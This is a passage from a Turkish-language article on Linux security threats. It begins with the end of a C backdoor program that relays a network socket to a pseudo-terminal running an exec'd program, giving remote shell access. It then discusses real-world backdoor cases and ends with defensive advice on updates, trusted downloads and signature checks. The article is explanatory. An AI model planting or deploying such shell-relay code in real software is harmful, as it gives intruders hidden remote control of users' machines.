        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

Böyle küçük bir kodun büyük bir uygulamadan filtre edilmesi uzun zaman alır . Arka kapılar sadece teorik olasılıklar olarak düşünülmemelidir. Örneğin Red Hat 6.2 nin Piranha paketi varsayıılan(default) şifreyi kabul eder. Quake 2 adlı oyunda arka kapı bulundurmaktadır . Arka kapı mekanizmaları kendilerin çok karmaşık görünümlerdede saklarlar ve bir çok kullanıcı tarafından farkedilmezler.Örneklerini şifreleme sistemlerinde görebiliriz.Örneğin SE-Linux , NSA tarafından geliştirilen güvenlik yamalarını kullanmaktadır. Fakat hiç bir Linux geliştiricisi kesin olarak yamaları kontrol ettiğini ve bir açık bulunmadığını iddia edemez ve emin olamaz . Çok az kişi bu tip zayıflıkları farkedecek Matematik bilgisine sahiptir .

Sonuçlar

Sonuç olarak Gnu/Linux dünyasındaki ücretsiz yazılımlar tamamıyla güvenli değildir. Çok da aceleci ve endişeli olmadan gerekli önlemleri almak, yazılımları mümkün olan en kısa sürede güncellemek , sadece gerekli ağ servislerini kullanmak , güvenilen sitelerden uygulama indirmek , indirilen paketlerin PGP yada MD5 yeterliliğinin olmasına dikkat etmek yararlı olacaktır .

Linux sistemleri yakın gelecekte iki ana tehlike beklemektedir . Birincisi üretim uygulamalarının dökümanlardaki makroları yorumlaması ; ikincisi çok platformlu virüsler. Birinci problemde kulanıcı alışkanlıkları düzenlenerek sorun giderilebilsede ikinci problemi çözmek zordur. Umarız çok yakın bir zamanda Linux makinalarda daha güçlü virüs denetçisi programlar oluşturulur.

Kaynaklar

Yazılımları tehdit eden virüsler , truva atları,... nasıl çalıştıkları , ne yaptıkları , hakkında bir çok kaynak bulunmaktadır . Bu kaynakların bir çoğu DOS/Windows için geçerli gibi gözüksede , bazıları Linux uda yakından ilgilendirmektedir. Bura konu edilen makaleler genel olarak teorik mekanizmaları analiz etmektedir.